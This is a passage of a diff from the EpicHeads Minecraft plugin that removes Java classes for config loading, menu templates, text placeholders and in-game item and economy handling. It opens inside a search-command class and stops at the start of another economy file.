import com.songoda.epicheads.oldmenu.mode.SearchMode;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
public class CommandSearch extends AbstractCommand {
public CommandSearch(AbstractCommand parent) {
super("search", parent, true);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length <= 1) {
return ReturnType.SYNTAX_ERROR;
}
StringBuilder queryBuilder = new StringBuilder();
for (int i = 1; i < args.length; i++) {
queryBuilder.append(args[i]);
queryBuilder.append(' ');
}
String query = queryBuilder.toString().trim();
EpicHeads.getInstance().getCache().searchHeadsAsync(query, matches -> {
if (matches.size() == 0) {
sender.sendMessage(instance.getLocale().getMessage("command.search.nonefound", query));
return;
}
sender.sendMessage(instance.getLocale().getMessage("command.search.found", query, matches.size()));
new SearchMode((Player) sender, matches);
});
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return "epicheads.search";
}
@Override
public String getSyntax() {
return "/heads search <search query>";
}
@Override
public String getDescription() {
return "Find useful heads.";
}
}

View File

@ -1,140 +0,0 @@
package com.songoda.epicheads.config;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Methods;
import org.bukkit.configuration.ConfigurationSection;
import java.util.concurrent.atomic.AtomicBoolean;
public abstract class ConfigFile {
private final String name;
public ConfigFile(String name) {
this.name = name;
}
public String getName() {
return name;
}
public abstract ConfigurationSection getConfig();
public abstract void save();
public abstract void reload();
public abstract ConfigurationSection getDefaults();
public abstract void copyDefaults();
public boolean getOrCopyDefault(String key, boolean defaultValue, AtomicBoolean requiresSave) {
Checks.ensureNonNull(key, "key");
Checks.ensureNonNull(requiresSave, "requiresSave");
ConfigurationSection config = getConfig();
if (!config.isSet(key) || !config.isBoolean(key))
return replaceInvalid(key, defaultValue, requiresSave);
return config.getBoolean(key);
}
public int getOrCopyDefault(String key, int defaultValue, AtomicBoolean requiresSave) {
Checks.ensureNonNull(key, "key");
Checks.ensureNonNull(requiresSave, "requiresSave");
ConfigurationSection config = getConfig();
if (!config.isSet(key) || !config.isInt(key))
return replaceInvalid(key, defaultValue, requiresSave);
return config.getInt(key);
}
public double getOrCopyDefault(String key, double defaultValue, AtomicBoolean requiresSave) {
Checks.ensureNonNull(key, "key");
Checks.ensureNonNull(requiresSave, "requiresSave");
ConfigurationSection config = getConfig();
if (!config.isSet(key) || (!config.isDouble(key) && !config.isInt(key) && !config.isLong(key)))
return replaceInvalid(key, defaultValue, requiresSave);
return config.getDouble(key);
}
public String getOrCopyDefault(String key, String defaultValue, AtomicBoolean requiresSave) {
Checks.ensureNonNull(key, "key");
Checks.ensureNonNull(requiresSave, "requiresSave");
ConfigurationSection config = getConfig();
if (!config.isSet(key) || !config.isString(key))
return replaceInvalid(key, defaultValue, requiresSave);
return config.getString(key);
}
public Item getOrCopyDefault(String key, Item defaultValue, AtomicBoolean requiresSave) {
Checks.ensureNonNull(key, "key");
Checks.ensureNonNull(defaultValue, "defaultValue");
Checks.ensureNonNull(requiresSave, "requiresSave");
ConfigurationSection config = getConfig();
if (!config.isSet(key) || !config.isConfigurationSection(key))
return replaceInvalid(key, defaultValue, requiresSave);
Item item = Item.load(name, config.getConfigurationSection(key), requiresSave);
if (item == null)
return replaceInvalid(key, defaultValue, requiresSave);
return item;
}
private Item replaceInvalid(String key, Item replacement, AtomicBoolean requiresSave) {
Methods.formatText("\"" + key + "\" not set or invalid in " + getName() + ", replacing with " + replacement);
removeInvalid(key, requiresSave);
replacement.save(getConfig(), key);
requiresSave.set(true);
return replacement;
}
private <T> T replaceInvalid(String key, T replacement, AtomicBoolean requiresSave) {
Methods.formatText("\"" + key + "\" not set or invalid in " + getName() + ", replacing with " + replacement);
removeInvalid(key, requiresSave);
getConfig().set(key, replacement);
requiresSave.set(true);
return replacement;
}
private void removeInvalid(String key, AtomicBoolean requiresSave) {
ConfigurationSection config = getConfig();
if (!config.isSet(key))
return;
String toKey = key + "-invalid";
int counter = 2;
while (config.isSet(toKey)) {
toKey = key + "-invalid-" + (counter++);
}
config.set(toKey, config.get(key));
config.set(key, null);
requiresSave.set(true);
}
}

View File

@ -1,45 +0,0 @@
package com.songoda.epicheads.config;
import com.songoda.epicheads.EpicHeads;
import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.configuration.file.YamlConfiguration;
import java.io.InputStream;
import java.io.InputStreamReader;
public class DefaultsConfigFile extends ConfigFile {
private ConfigurationSection config;
public DefaultsConfigFile(String name) {
super(name);
}
@Override
public ConfigurationSection getConfig() {
return config;
}
@Override
public void save() {
throw new UnsupportedOperationException("Cannot save a DefaultsConfigFile.");
}
@Override
public void reload() {
InputStream resource = EpicHeads.getInstance().getResource(getName());
InputStreamReader reader = new InputStreamReader(resource);
config = YamlConfiguration.loadConfiguration(reader);
}
@Override
public void copyDefaults() {
throw new UnsupportedOperationException("Cannot save a DefaultsConfigFile.");
}
@Override
public ConfigurationSection getDefaults() {
return config;
}
}

View File

@ -1,84 +0,0 @@
package com.songoda.epicheads.config;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.util.Checks;
import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.configuration.file.YamlConfiguration;
import java.io.*;
public class FileConfigFile extends ConfigFile {
private YamlConfiguration config;
private ConfigurationSection defaults;
private String resourceName;
public FileConfigFile(String name) {
this(name, name);
}
public FileConfigFile(String name, String resourceName) {
super(name);
Checks.ensureNonNull(resourceName, "resourceName");
this.resourceName = resourceName;
}
public File getFile() {
return new File(EpicHeads.getInstance().getDataFolder(), getName());
}
@Override
public ConfigurationSection getConfig() {
return config;
}
@Override
public void save() {
File file = getFile();
try {
if (!file.exists() && !file.createNewFile())
throw new IOException("Unable to create config file " + file);
config.save(file);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void reload() {
config = YamlConfiguration.loadConfiguration(getFile());
}
@Override
public void copyDefaults() {
if (getFile().exists())
return;
try (InputStream input = EpicHeads.getInstance().getResource(resourceName); OutputStream output = new FileOutputStream(getFile())) {
int read;
byte[] buffer = new byte[2048];
while ((read = input.read(buffer)) > 0) {
output.write(buffer, 0, read);
}
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public ConfigurationSection getDefaults() {
if (defaults == null) {
InputStream resource = EpicHeads.getInstance().getResource(resourceName);
InputStreamReader reader = new InputStreamReader(resource);
defaults = YamlConfiguration.loadConfiguration(reader);
}
return defaults;
}
}

View File

@ -1,415 +0,0 @@
package com.songoda.epicheads.config;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Clock;
import com.songoda.epicheads.util.Methods;
import com.songoda.epicheads.volatilecode.Items;
import org.bukkit.Bukkit;
import org.bukkit.configuration.ConfigurationSection;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.atomic.AtomicBoolean;
public class MainConfig {
private final ConfigFile configFile;
private boolean economyEnabled;
private double defaultHeadCost;
private boolean vaultEcoEnabled;
private boolean itemEcoEnabled;
private Item itemEcoItem;
private boolean playerPointsEcoEnabled;
private boolean headNamesEnabled;
private boolean useBlockStore;
private boolean useCacheNames;
private String defaultHeadName;
private boolean hideNoPermCategories;
private boolean freeInCreative;
private boolean checkForUpdates;
private Map<String, Double> categoryCosts;
private String headLabel;
private String[] headAliases;
private String headDescription;
private String reloadLabel;
private String addLabel;
private String handLabel;
private String getLabel;
private String giveLabel;
private String randomLabel;
private String removeLabel;
private String renameLabel;
private String costLabel;
private String categoryCostLabel;
private String itemEcoLabel;
private String idLabel;
private String searchLabel;
private String helpLabel;
public MainConfig() {
this.configFile = EpicHeads.getInstance().getVersionedConfig("config.yml");
reload();
}
public void reload() {
Clock timer = Clock.start();
configFile.copyDefaults();
configFile.reload();
ConfigurationSection config = configFile.getConfig();
AtomicBoolean shouldSave = new AtomicBoolean(false);
loadCommandprint(config, shouldSave);
loadCategoryCosts(config, shouldSave);
if (config.isSet("hat-mode") && config.isBoolean("hat-mode") && config.getBoolean("hat-mode")) {
Methods.formatText("--------------------------------------------------");
Methods.formatText("Until further notice, hat mode is no longer supported");
Methods.formatText("in Heads past version 1.10.0, please downgrade or");
Methods.formatText("switch the plugin out of hat-mode in your config.yml");
Methods.formatText("--------------------------------------------------");
Bukkit.getScheduler().scheduleSyncDelayedTask(EpicHeads.getInstance(), () -> {
Methods.formatText("--------------------------------------------------");
Methods.formatText("Until further notice, hat mode is no longer supported");
Methods.formatText("in Heads past version 1.10.0, please downgrade or");
Methods.formatText("switch the plugin out of hat-mode in your config.yml");
Methods.formatText("--------------------------------------------------");
Bukkit.getPluginManager().disablePlugin(EpicHeads.getInstance());
});
}
economyEnabled = loadBoolean(config, "economy.enabled", false, shouldSave);
defaultHeadCost = loadDouble(config, "economy.default-head-cost", 0, shouldSave);
vaultEcoEnabled = loadBoolean(config, "economy.vault-eco.enabled", true, shouldSave);
itemEcoEnabled = loadBoolean(config, "economy.item-eco.enabled", false, shouldSave);
Item defaultItemEcoItem = Items.createSkull().name("&6Player Head Token").lore("&8Use in /EpicHeads!");
itemEcoItem = loadItem(config, "economy.item-eco.item", defaultItemEcoItem, shouldSave);
playerPointsEcoEnabled = loadBoolean(config, "economy.player-points-eco.enabled", false, shouldSave);
headNamesEnabled = loadBoolean(config, "breaking-head-names.enabled", true, shouldSave);
useBlockStore = loadBoolean(config, "breaking-head-names.attempt-hook-blockstore", true, shouldSave);
useCacheNames = loadBoolean(config, "breaking-head-names.similar-heads-in-cache", true, shouldSave);
defaultHeadName = loadString(config, "breaking-head-names.default-name", "Decoration Head", shouldSave);
hideNoPermCategories = loadBoolean(config, "hide-no-perm-categories", true, shouldSave);
freeInCreative = loadBoolean(config, "free-in-creative", false, shouldSave);
checkForUpdates = loadBoolean(config, "check-for-updates", true, shouldSave);
if (defaultHeadCost < 0) {
Methods.formatText("\"economy.default-head-cost\" cannot be less than 0 in config.yml, defaulting to 0");
defaultHeadCost = 0;
}
if (shouldSave.get()) {
configFile.save();
}
Methods.formatText("Loaded Main Config " + timer);
}
private void loadCommandprint(ConfigurationSection config, AtomicBoolean shouldSave) {
reloadLabel = loadString(config, "commands.heads.sub-commands.reload", "reload", shouldSave);
addLabel = loadString(config, "commands.heads.sub-commands.add", "add", shouldSave);
handLabel = loadString(config, "commands.heads.sub-commands.hand", "hand", shouldSave);
getLabel = loadString(config, "commands.heads.sub-commands.get", "get", shouldSave);
giveLabel = loadString(config, "commands.heads.sub-commands.give", "give", shouldSave);
randomLabel = loadString(config, "commands.heads.sub-commands.random", "random", shouldSave);
removeLabel = loadString(config, "commands.heads.sub-commands.remove", "remove", shouldSave);
renameLabel = loadString(config, "commands.heads.sub-commands.rename", "rename", shouldSave);
costLabel = loadString(config, "commands.heads.sub-commands.cost", "cost", shouldSave);
categoryCostLabel = loadString(config, "commands.heads.sub-commands.category-cost", "categorycost", shouldSave);
itemEcoLabel = loadString(config, "commands.heads.sub-commands.item-eco", "itemeco", shouldSave);
idLabel = loadString(config, "commands.heads.sub-commands.id", "id", shouldSave);
searchLabel = loadString(config, "commands.heads.sub-commands.search", "search", shouldSave);
helpLabel = loadString(config, "commands.heads.sub-commands.help", "help", shouldSave);
headLabel = loadString(config, "commands.heads.label", "EpicHeads", shouldSave);
headDescription = loadString(config, "commands.heads.description", "Get a cool head", shouldSave);
headAliases = loadStringArray(config, "commands.heads.aliases", new String[] { "head" }, shouldSave);
}
private void loadCategoryCosts(ConfigurationSection config, AtomicBoolean shouldSave) {
categoryCosts = new HashMap<>();
if (!config.isSet("economy.categories") || !config.isConfigurationSection("economy.categories"))
return;
ConfigurationSection categories = config.getConfigurationSection("economy.categories");
for (String key : categories.getKeys(false)) {
double cost = categories.getDouble(key, -1);
if (cost < 0)
continue;
categoryCosts.put(key.toLowerCase(), cost);
}
}
private String loadString(ConfigurationSection config, String key, String defaultVal, AtomicBoolean shouldSave) {
if (config.isSet(key) && config.isString(key) && !config.getString(key).isEmpty())
return config.getString(key);
Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to \"" + defaultVal + "\"");
config.set(key, defaultVal);
shouldSave.set(true);
return defaultVal;
}
private String[] loadStringArray(ConfigurationSection config, String key, String[] defaultVal, AtomicBoolean shouldSave) {
if (config.isSet(key) && config.isList(key))
return config.getStringList(key).toArray(new String[0]);
Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to " + Arrays.toString(defaultVal));
config.set(key, Arrays.asList(defaultVal));
shouldSave.set(true);
return defaultVal;
}
private boolean loadBoolean(ConfigurationSection config, String key, boolean defaultVal, AtomicBoolean shouldSave) {
if (config.isSet(key) && config.isBoolean(key))
return config.getBoolean(key);
Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to " + defaultVal);
config.set(key, defaultVal);
shouldSave.set(true);
return defaultVal;
}
private double loadDouble(ConfigurationSection config, String key, double defaultVal, AtomicBoolean shouldSave) {
if (config.isSet(key) && (config.isInt(key) || config.isDouble(key)))
return config.getDouble(key);
Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to " + defaultVal);
config.set(key, defaultVal);
shouldSave.set(true);
return defaultVal;
}
private Item loadItem(ConfigurationSection config, String key, Item defaultItem, AtomicBoolean shouldSave) {
if (config.isSet(key) && config.isConfigurationSection(key)) {
Item item = Item.load("config.yml", config.getConfigurationSection(key), shouldSave);
if (item != null)
return item;
}
Methods.formatText(key + " not set or invalid in config.yml, resetting to " + defaultItem);
config.set(key, null);
defaultItem.save(config.createSection(key));
shouldSave.set(true);
return defaultItem;
}
private String getPlainCategoryName(String category) {
return category.toLowerCase().replace(" ", "");
}
public boolean hasCategoryCost(String category) {
return categoryCosts.containsKey(getPlainCategoryName(category));
}
public double getCategoryCost(String category) {
return categoryCosts.getOrDefault(getPlainCategoryName(category), defaultHeadCost);
}
public void setCategoryCost(String category, double cost) {
categoryCosts.put(getPlainCategoryName(category), cost);
saveCategoryCosts();
}
public void removeCategoryCost(String category) {
categoryCosts.remove(getPlainCategoryName(category));
saveCategoryCosts();
}
private void saveCategoryCosts() {
Clock timer = Clock.start();
ConfigurationSection config = configFile.getConfig();
config.set("economy.categories", null);
if (categoryCosts.size() > 0) {
ConfigurationSection section = config.createSection("economy.categories");
for (Map.Entry<String, Double> entry : categoryCosts.entrySet()) {
section.set(entry.getKey(), entry.getValue());
}
}
configFile.save();
Methods.formatText("Saved Main Config " + timer);
}
public void setItemEcoItem(Item item) {
Checks.ensureNonNull(item, "item");
this.itemEcoItem = item;
saveItemEcoItem();
}
private void saveItemEcoItem() {
Clock timer = Clock.start();
ConfigurationSection config = this.configFile.getConfig();
config.set("economy.item-eco.item", null);
itemEcoItem.save(config.createSection("economy.item-eco.item"));
configFile.save();
Methods.formatText("Saved Main Config " + timer);
}
public boolean isEconomyEnabled() {
return economyEnabled;
}
public double getDefaultHeadCost() {
return defaultHeadCost;
}
public boolean isVaultEconomyEnabled() {
return vaultEcoEnabled;
}
public boolean isItemEconomyEnabled() {
return itemEcoEnabled;
}
public Item getItemEconomyItem() {
return itemEcoItem;
}
public boolean isPlayerPointsEconomyEnabled() {
return playerPointsEcoEnabled;
}
public boolean isHeadNamesEnabled() {
return headNamesEnabled;
}
public boolean shouldUseBlockStore() {
return useBlockStore;
}
public boolean shouldUseCacheNames() {
return useCacheNames;
}
public String getDefaultHeadName() {
return defaultHeadName;
}
public boolean shouldHideNoPermCategories() {
return hideNoPermCategories;
}
public boolean isFreeInCreative() {
return freeInCreative;
}
public boolean shouldCheckForUpdates() {
return checkForUpdates;
}
public String getHeadCommand() {
return headLabel;
}
public String[] getHeadAliases() {
return headAliases;
}
public String getHeadDescription() {
return headDescription;
}
public String getReloadCommand() {
return reloadLabel;
}
public String getAddCommand() {
return addLabel;
}
public String getHandCommand() {
return handLabel;
}
public String getGetCommand() {
return getLabel;
}
public String getGiveCommand() {
return giveLabel;
}
public String getRandomCommand() {
return randomLabel;
}
public String getRemoveCommand() {
return removeLabel;
}
public String getRenameCommand() {
return renameLabel;
}
public String getCostCommand() {
return costLabel;
}
public String getCategoryCostCommand() {
return categoryCostLabel;
}
public String getItemEcoCommand() {
return itemEcoLabel;
}
public String getIdCommand() {
return idLabel;
}
public String getSearchCommand() {
return searchLabel;
}
public String getHelpCommand() {
return helpLabel;
}
}

View File

@ -1,101 +0,0 @@
package com.songoda.epicheads.config.lang;
import com.songoda.epicheads.util.Checks;
import org.bukkit.ChatColor;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.function.Function;
public final class Placeholder {
private final String replace;
private final String with;
public Placeholder(String replace, String with) {
Checks.ensureNonNull(replace, "replace");
Checks.ensureNonNull(with, "with");
this.replace = replace;
this.with = with;
}
public Placeholder(String replace, Object with) {
this(replace, Objects.toString(with));
}
public String getReplace() {
return replace;
}
public String getWith() {
return with;
}
public String apply(String text) {
Checks.ensureNonNull(text, "text");
return text.replace(replace, with);
}
public static String applyAll(String text, Placeholder... placeholders) {
Checks.ensureNonNull(text, "text");
Checks.ensureArrayNonNull(placeholders, "placeholders");
for (Placeholder placeholder : placeholders) {
text = placeholder.apply(text);
}
return text;
}
public static String[] applyAll(String[] lines, Placeholder... placeholders) {
Checks.ensureArrayNonNull(lines, "lines");
Checks.ensureArrayNonNull(placeholders, "placeholders");
String[] replaced = new String[lines.length];
for(int index = 0; index < lines.length; index++) {
replaced[index] = applyAll(lines[index], placeholders);
}
return replaced;
}
public static String[] colourAll(String... lines) {
Checks.ensureArrayNonNull(lines, "lines");
String[] translated = new String[lines.length];
for(int index = 0; index < lines.length; index++) {
Checks.ensureTrue(lines[index] != null, " lines cannot contain a null value, lines[" + index + "] is null");
translated[index] = ChatColor.translateAlternateColorCodes('&', lines[index]);
}
return translated;
}
public static String[] filter(String[] lines, Function<String, Boolean> accept) {
Checks.ensureArrayNonNull(lines, "lines");
if(accept == null)
return lines;
List<String> filtered = new ArrayList<>();
for(int index = 0; index < lines.length; index++) {
if(accept.apply(lines[index])) {
filtered.add(lines[index]);
}
}
return filtered.toArray(new String[0]);
}
public static String[] filterAndApplyAll(String[] lines, Function<String, Boolean> accept, Placeholder... placeholders) {
return Placeholder.applyAll(Placeholder.filter(lines, accept), placeholders);
}
}

View File

@ -1,94 +0,0 @@
package com.songoda.epicheads.config.menu;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.config.ConfigFile;
import com.songoda.epicheads.menu.CacheHeadsMenu;
import com.songoda.epicheads.menu.CategoriesMenu;
import com.songoda.epicheads.menu.HeadsMenu;
import com.songoda.epicheads.menu.ui.element.PagedBox;
import com.songoda.epicheads.menu.ui.element.Scrollbar;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.util.Checks;
import java.util.concurrent.atomic.AtomicBoolean;
public class MenuConfig {
private final ConfigFile config;
private final AtomicBoolean requiresSave;
public MenuConfig(String fileName) {
this(EpicHeads.getInstance().getVersionedConfig(fileName));
}
public MenuConfig(ConfigFile config) {
Checks.ensureNonNull(config, "configFile");
this.config = config;
this.requiresSave = new AtomicBoolean(false);
}
public void load() {
config.copyDefaults();
config.reload();
requiresSave.set(false);
}
public void saveIfChanged() {
if (!requiresSave.get())
return;
config.save();
}
public Scrollbar.Template loadScrollbar(String key) {
Item left = config.getOrCopyDefault(key + ".left", Scrollbar.defaultLeft, requiresSave);
Item right = config.getOrCopyDefault(key + ".right", Scrollbar.defaultRight, requiresSave);
Item noLeft = config.getOrCopyDefault(key + ".no-left", Scrollbar.defaultNoLeft, requiresSave);
Item noRight = config.getOrCopyDefault(key + ".no-right", Scrollbar.defaultNoRight, requiresSave);
Item filler = config.getOrCopyDefault(key + ".filler", Scrollbar.defaultFiller, requiresSave);
return new Scrollbar.Template(left, right, noLeft, noRight, filler);
}
public PagedBox.Template loadPagedBox(String key) {
Item unselected = config.getOrCopyDefault(key + ".unselected-page", PagedBox.defaultUnselected, requiresSave);
Item selected = config.getOrCopyDefault(key + ".selected-page", PagedBox.defaultSelected, requiresSave);
Scrollbar.Template scrollbar = loadScrollbar(key + ".scrollbar");
return new PagedBox.Template(scrollbar, unselected, selected);
}
public CategoriesMenu.Template loadCategoriesMenu(String key) {
Item category = config.getOrCopyDefault(key + ".category", CategoriesMenu.defaultCategoryItem, requiresSave);
PagedBox.Template pagedBoxTemplate = loadPagedBox(key);
return new CategoriesMenu.Template(pagedBoxTemplate, category);
}
public HeadsMenu.Template loadHeadsMenu(String key) {
Item head = config.getOrCopyDefault(key + ".head", HeadsMenu.defaultHead, requiresSave);
PagedBox.Template pagedBoxTemplate = loadPagedBox(key);
return new HeadsMenu.Template(pagedBoxTemplate, head);
}
public CacheHeadsMenu.Template loadCacheHeadsMenu(String key) {
String categoriesTitle = config.getOrCopyDefault(key + ".categories-title", CacheHeadsMenu.defaultCategoriesTitle, requiresSave);
String categoryTitle = config.getOrCopyDefault(key + ".category-title", CacheHeadsMenu.defaultCategoryTitle, requiresSave);
Item close = config.getOrCopyDefault(key + ".close", CacheHeadsMenu.defaultClose, requiresSave);
Item back = config.getOrCopyDefault(key + ".back", CacheHeadsMenu.defaultBack, requiresSave);
Item search = config.getOrCopyDefault(key + ".search", CacheHeadsMenu.defaultSearch, requiresSave);
CategoriesMenu.Template categoriesTemplate = loadCategoriesMenu(key + ".categories");
HeadsMenu.Template headsTemplate = loadHeadsMenu(key + ".heads");
return new CacheHeadsMenu.Template(categoriesTemplate, headsTemplate, close, back, search, categoriesTitle, categoryTitle);
}
}

View File

@ -1,34 +0,0 @@
package com.songoda.epicheads.config.menu;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.menu.CacheHeadsMenu;
import com.songoda.epicheads.util.Methods;
import java.io.File;
public class Menus {
private MenuConfig browseConfig;
private CacheHeadsMenu.Template browseTemplate;
public Menus() {
browseConfig = new MenuConfig("menus/browse.yml");
}
public void reload() {
File menusFolder = new File(EpicHeads.getInstance().getDataFolder(), "menus");
if (!menusFolder.exists() && !menusFolder.mkdirs()) {
Methods.formatText("Unable to create the plugins/Heads/menus folder for Heads menu configuration");
}
browseConfig.load();
browseTemplate = browseConfig.loadCacheHeadsMenu("menu");
browseConfig.saveIfChanged();
}
public CacheHeadsMenu.Template getBrowseTemplate() {
return browseTemplate;
}
}

View File

@ -1,92 +0,0 @@
package com.songoda.epicheads.config.oldmenu;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.util.Methods;
import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.inventory.ItemStack;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.function.Function;
public class Menu {
private Function<String, Boolean> FILTER_ECONOMY_LINES_OUT = line -> !line.contains("%cost%");
private String title;
private final Map<String, Item> items = new HashMap<>();
private final Menu defaults;
public Menu() {
this(null);
}
public Menu(Menu defaults) {
this.defaults = defaults;
}
public String getTitle(Placeholder... placeholders) {
return title != null ? Placeholder.applyAll(title, placeholders) : "Menu";
}
public Item getItem(String name) {
Item item = items.get(name.toLowerCase());
return item != null ? item : getDefaultItem(name);
}
public ItemStack getItemStack(String name, Placeholder... placeholders) {
Item item = getItem(name);
return item != null ? item.build(getItemLoreFilter(), placeholders) : null;
}
private Item getDefaultItem(String name) {
return defaults != null ? defaults.getItem(name) : null;
}
private Function<String, Boolean> getItemLoreFilter() {
return EpicHeads.getInstance().getMainConfig().isEconomyEnabled() ? null : FILTER_ECONOMY_LINES_OUT;
}
public void load(String filename, ConfigurationSection section, AtomicBoolean shouldSave) {
for (String key : section.getKeys(false)) {
if (!section.isConfigurationSection(key)) {
loadValue(section, key);
continue;
}
Item item = Item.load(filename, section.getConfigurationSection(key), shouldSave);
if (item == null)
continue;
items.put(key.toLowerCase(), item);
}
}
private void loadValue(ConfigurationSection section, String key) {
if (key.equals("title")) {
title = section.getString(key, null);
return;
}
Methods.formatText("Unknown use of value \"" + key + "\" in menu \"" + section.getCurrentPath() + "\"");
}
public static Menu loadMenu(String filename, ConfigurationSection section, AtomicBoolean shouldSave) {
return loadMenu(filename, section, shouldSave, null);
}
public static Menu loadMenu(String filename, ConfigurationSection section, AtomicBoolean shouldSave, Menu defaults) {
Menu menu = new Menu(defaults);
menu.load(filename, section, shouldSave);
return menu;
}
}

View File

@ -1,97 +0,0 @@
package com.songoda.epicheads.config.oldmenu;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.config.ConfigFile;
import com.songoda.epicheads.util.Clock;
import com.songoda.epicheads.util.Methods;
import org.bukkit.configuration.ConfigurationSection;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.atomic.AtomicBoolean;
public class MenuConfig {
private final ConfigurationSection defaults;
private final ConfigFile configFile;
private final Map<String, Menu> menus;
private final Map<String, Menu> defaultMenus;
public MenuConfig(ConfigFile configFile) {
this.menus = new HashMap<>();
this.defaultMenus = new HashMap<>();
this.configFile = configFile;
this.defaults = loadDefaults();
reload();
}
public Menu getMenu(String name) {
Menu menu = menus.get(name.toLowerCase());
return (menu != null ? menu : defaultMenus.get(name.toLowerCase()));
}
public void reload() {
Clock timer = Clock.start();
configFile.copyDefaults();
configFile.reload();
String filename = configFile.getName();
ConfigurationSection config = configFile.getConfig();
AtomicBoolean shouldSave = new AtomicBoolean(false);
menus.clear();
for (String key : config.getKeys(false)) {
if (!config.isConfigurationSection(key)) {
Methods.formatText("Unknown use of value " + key + " in " + filename);
continue;
}
ConfigurationSection menuSection = config.getConfigurationSection(key);
Menu defaultMenu = defaultMenus.get(key.toLowerCase());
Menu menu = Menu.loadMenu(filename, menuSection, shouldSave, defaultMenu);
menus.put(key.toLowerCase(), menu);
}
for (String key : defaultMenus.keySet()) {
if (menus.containsKey(key))
continue;
config.set(key, defaults.getConfigurationSection(key));
Methods.formatText(key + " was missing in " + filename + ", creating it");
shouldSave.set(true);
}
if (shouldSave.get()) {
configFile.save();
}
Methods.formatText("Loaded Menu Config with " + menus.size() + " Menus " + timer);
}
private ConfigurationSection loadDefaults() {
String filename = configFile.getName();
ConfigurationSection config = configFile.getDefaults();
AtomicBoolean shouldSave = new AtomicBoolean(false);
defaultMenus.clear();
for (String key : config.getKeys(false)) {
if (!config.isConfigurationSection(key))
continue;
ConfigurationSection menuSection = config.getConfigurationSection(key);
defaultMenus.put(key.toLowerCase(), Menu.loadMenu(filename, menuSection, shouldSave));
}
return config;
}
}

View File

@ -1,76 +0,0 @@
package com.songoda.epicheads.config.oldmenu;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.oldmenu.InventoryType;
public class Menus {
public static final String SPLIT = "-";
public static final String CATEGORIES = "categories";
public static final String HEADS = "heads";
public static final String CONFIRM = "confirm";
public static final MenusGroup GET = new MenusGroup("get");
public static final MenusGroup SEARCH = new MenusGroup("search");
public static final MenusGroup REMOVE = new MenusGroup("remove");
public static final MenusGroup RENAME = new MenusGroup("rename");
public static final MenusGroup COST = new MenusGroup("cost");
public static final MenusGroup CATEGORY_COST = new MenusGroup("category-cost");
public static final MenusGroup CATEGORY_COST_REMOVE = new MenusGroup("category-cost-remove");
public static final MenusGroup ID = new MenusGroup("id");
public static Menu get(String name) {
return EpicHeads.getInstance().getMenuConfig().getMenu(name);
}
public static class MenusGroup {
private String prefix;
public MenusGroup(String prefix) {
this.prefix = prefix;
}
public String getPrefix() {
return prefix;
}
public String getCategoriesName() {
return prefix + SPLIT + CATEGORIES;
}
public String getHeadsName() {
return prefix + SPLIT + HEADS;
}
public String getConfirmName() {
return prefix + SPLIT + CONFIRM;
}
public Menu categories() {
return get(getCategoriesName());
}
public Menu heads() {
return get(getHeadsName());
}
public Menu confirm() {
return get(getConfirmName());
}
public Menu fromType(InventoryType type) {
switch (type) {
case CATEGORY:
return categories();
case HEADS:
return heads();
case CONFIRM:
return confirm();
default:
return null;
}
}
}
}

View File

@ -1,19 +0,0 @@
package com.songoda.epicheads.economy;
import org.bukkit.entity.Player;
public interface Economy {
public String getName();
public String formatBalance(double bal);
public boolean tryHook();
public boolean isHooked();
public boolean hasBalance(Player player, double bal);
public boolean takeBalance(Player player, double bal);
}

View File

@ -1,81 +0,0 @@
package com.songoda.epicheads.economy;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.menu.ui.item.Item;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
public class ItemEconomy implements Economy {
public boolean isItem(ItemStack itemStack) {
if (itemStack == null)
return false;
Item item = Item.create(itemStack).amount(1);
return item.equals(EpicHeads.getInstance().getMainConfig().getItemEconomyItem());
}
@Override
public String getName() {
return "Item";
}
private int convertAmount(double amount) {
return (int) Math.ceil(amount);
}
@Override
public String formatBalance(double bal) {
int amount = convertAmount(bal);
return Integer.toString(amount);
}
@Override
public boolean tryHook() {
return true;
}
@Override
public boolean isHooked() {
return true;
}
@Override
public boolean hasBalance(Player player, double bal) {
int amount = convertAmount(bal);
for (ItemStack item : player.getInventory().getContents()) {
if (!isItem(item))
continue;
if (amount <= item.getAmount())
return true;
amount -= item.getAmount();
}
return false;
}
@Override
public boolean takeBalance(Player player, double bal) {
int amount = convertAmount(bal);
ItemStack[] contents = player.getInventory().getContents();
for (int index = 0; index < contents.length; ++index) {
ItemStack item = contents[index];
if (!isItem(item))
continue;
if (amount >= item.getAmount()) {
amount -= item.getAmount();
contents[index] = null;
} else {
item.setAmount(item.getAmount() - amount);
amount = 0;
}
if (amount == 0)
break;
}
if (amount != 0)
return false;
player.getInventory().setContents(contents);
return true;
}
}

View File

@ -1,37 +0,0 @@
package com.songoda.epicheads.economy;
import org.bukkit.entity.Player;
